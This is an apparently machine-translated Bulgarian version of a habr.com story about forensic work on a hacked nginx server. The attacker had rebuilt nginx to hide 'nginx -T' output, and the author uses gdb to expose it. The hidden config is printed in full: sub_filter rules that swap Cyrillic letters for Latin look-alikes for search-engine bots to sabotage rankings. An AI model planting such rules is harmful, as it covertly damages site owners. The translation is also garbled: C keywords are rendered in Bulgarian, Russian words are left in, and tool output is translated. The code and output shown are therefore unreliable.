Една неприятна история се случи с един мой познат. Но колкото беше неприятна за Михаил, толкова интересна беше за мен.
Трябва да кажа, че приятелят ми е напълно UNIX-потребител: може сам да инсталира системата, да настрои mysql, php и да направи най-простите настройки nginx.
И има десетина сайта, посветени на строителни инструменти.
Един от тези сайтове, посветен на бензиновите триони, е плътно на ТОП позициите в търсачките. Този сайт е непрофесионален прегледник, но на някого му е прилошало и започнаха да го атакурат. То DDoS, то брутфорс, то пишат неприлични коментари и изпращат оплаквания към хостинга и в РКН.
Неочаквано всичко утихна и това затишие се оказа не на добре, а сайтът започна постепенно да напуска горните редици на резултатите.

То беше предистория, а сега самата администраторска байка.
Часът наближаваше за сън, когато прозвуча телефонен звън: „Саша, няма ли да погледнеш моя сървър? Мисля, че съм хакнат, не мога да докажа, но чувството не ме напуска вече трета седмица. Може би просто е време да се лекувам от параноя?“
След това последва половинчасова дискусия, която накратко може да се обобщи така:
- почвата за хакване беше напълно плодоносна;
- хакерът можеше да получи права на суперпотребител;
- атаката (ако е имало такава) беше целенасочена именно към този сайт;
- проблемните места са поправени и остава само да разбера дали е имало фактически проникване;
- хакването не можеше да засегне кода на сайта и базите данни.
Относно последния пункт.

В света се вижда само белият IP адрес на фронтенда. Между бекендите и фронтенда няма обмен освен http(s), потребителите/паролите са различни, ключовете не са обменяни. На сивите адреси всички портове освен 80/443 са затворени. Белите IP адреси на бекендите са известни само на двама потребители, на които Михаил напълно се доверява.
На фронтенда е инсталиран Debian 9 и към момента на обаждането системата е изолирана от света чрез външен firewall и е спряна.
„Добре, дай достъпите, - решавам да отложа съня за час. - Ще погледна с моите очи“.
Тук и нататък:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
В търсене на възможно хакване
Стартирам сървъра, първо в режим на възстановяване. Монтиране на дисковете, преглеждам auth-логовете, history, системни журнали и т.н., проверявам датите на създаване на файловете, макар да осъзнавам, че един опитен хакер би „прибрал“ всичко след себе си, а и Миша вече е направил доста „стъпки“, докато търсеше сам.
Започвам в нормален режим, без да разбирам особено какво търся, изследвам конфигурационните файлове. Най-вече ме интересува nginx тъй като в принцип не съществува нищо друго на фронтенда.
Конфигурациите са малки, добре структуриран в десетина файла, преглеждам ги просто cat’по ред. Изглежда всичко е чисто, но кой знае, може би съм пропуснал нещо include, нека направя пълен листинг:
$ nginx -T
nginx: конфигурационният файл /usr/local/etc/nginx/nginx.conf синтаксисът е ок
nginx: тестът на конфигурационния файл /usr/local/etc/nginx/nginx.conf е успешен
Не разбрах: "Къде е листингът?"
$ nginx -V
nginx версия: nginx/1.10.3
Поддръжка на TLS SNI активирана
аргументи за конфигуриране: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
Към въпроса за листинга добавям втори: "Защо е толкова стара версия nginx?"
Освен това системата смята, че версията е инсталирана по-скоро:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all малък, мощен, мащабируем уеб/прокси сървър
Обаждам се:
— Миш, защо преизграждаше nginx?
— Успокой се, дори не знам как да го направя!
— Ок, добре, спи...
Nginx определено е преизграден и изходът от листинга по „-T“ е скрит не случайно. Няма съмнение в хакването и това може просто да се приеме, а (след като Миша така или иначе смени сървъра) да се счита проблемът за решен.
И наистина, след като някой е получил права root‘а, има смисъл да се направи само system reinstall, а да се търси какво е било сгрешено е безполезно, но този път любопитството победи съня. Как да разберем какво искат да скрият от нас?
Нека опитаме да проследим:
$ strace nginx -T
Преглеждаме, в трасировката явно липсват редове от типа
write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
За интереса сравняваме изходите
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
Мисля, че част от кода /src/core/nginx.c
случай 't':
ngx_test_config = 1;
перерыв;
случай 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
перерыв;
беше преобразуван в вид:
случай 't':
ngx_test_config = 1;
перерыв;
случай 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
перерыв;
или
случай 't':
ngx_test_config = 1;
перерыв;
случай 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
перерыв;
следовательно, изброяването по „-T“ не се показва.
Но как да видим нашия конфиг?
Ако мисълта ми е вярна и проблемът е само в променливата ngx_dump_config да опитаме да я зададем с помощта на gdb, добре, че ключът —with-cc-opt -g присъства и се надяваме, че оптимизацията -O2 няма да ни попречи. Понеже, аз не знам как ngx_dump_config можеше да бъде обработена в случай ‘T’:, няма да извикваме този блок, а ще я зададем, използвайки случай ‘t’:
Защо може да се използва ‘-t’ наред с ‘-T’Обработка на блока ако(ngx_dump_config) се случва вътре ако(ngx_test_config):
ако (ngx_test_config) {
ако (!ngx_quiet_mode) {
ngx_log_stderr(0, "конфигурационен файл %s тестът е успешен",
cycle->conf_file.data);
}
ако (ngx_dump_config) {
cd = cycle->config_dump.elts;
за (i = 0; i < cycle->config_dump.nelts; i++) {
ngx_write_stdout("# конфигурационен файл ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
връщане 0;
}
Разбира се, ако кодът е променен в тази част, а не в случай ‘T’:, то моят метод няма да проработи.
Тестов nginx.confСлед като решихме проблема по пробен път, установихме, че за зловредния код е необходим минимален конфиг nginx вътре:
събития {
}
http {
включи /etc/nginx/sites-enabled/*;
}
Този ще използваме за краткост в статията.
Стартираме отладчика
$ gdb --silent --args nginx -t
Чета символи от nginx...готово.
(gdb) break main
Точка останова 1 на 0x1f390: файл src/core/nginx.c, ред 188.
(gdb) run
Стартиране на програмата: nginx -t
[Дебъгване на нишки с libthread_db активирано]
Използване на хост библиотеката libthread_db "\/lib\/x86_64-linux-gnu\/libthread_db.so.1".
Точка за спиране 1, main (argc=2, argv=0x7fffffffebc8) на src/core/nginx.c:188
188 src/core/nginx.c: Няма такъв файл или директория.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Продължаване.
nginx: конфигурационният файл \/etc\/nginx\/nginx.conf синтаксисът е наред
nginx: тестът на конфигурационния файл \/etc\/nginx\/nginx.conf е успешен
# конфигурационен файл \/etc\/nginx\/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com\/bots" 1;
"~*www.google.com\/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*\/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
include \/etc\/nginx\/sites-enabled\/*;
}
# конфигурационен файл \/etc\/nginx\/sites-enabled\/default:
[Несъществуващ 1 (процес 32581) излезе нормално]
(gdb) quit
По стъпки:
- поставяме точка на прекъсване във функцията main()
- стартираме програмата
- променяме стойността на променливата, определяща извеждането на конфигурацията ngx_dump_config=1
- продължаваме/завършваме програмата
Както виждаме, реалният конфиг се различава от нашия, извеждаме от него паразитната част:
map $http_user_agent $sign_user_agent
{
"~*yandex.com\/bots" 1;
"~*www.google.com\/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*\/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Нека разгледаме по-подробно какво се случва тук.
Определят се User-Agent‘ы yandex\/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com\/bots" 1;
"~*www.google.com\/bot.html" 1;
default 0;
}
Изключват се служебни страници wordpress:
map $uri $sign_uri
{
"~*\/wp-" 1;
default 0;
}
И за тези, които попадат под двете по-горе условия
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
в текста html-страниците се променят ‘о’ на ‘o’ и ‘а’ на ‘a’:
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Точно така, тънкостта е, че ‘а’ != ‘a’ също както и ‘о’ != ‘o’:

Така ботите на търсачките получават вместо нормален 100%-кирилски текст модифициран хаос, разбъркан с латиница ‘a’ и ‘o’. Не се наемам да разсъждавам как това влияе на SEO, но едва ли такъв буквен микс ще има положително влияние на позициите в резултатите.
Какво да кажа, момчетата с въображение.
Връзки
Източник: habr.com
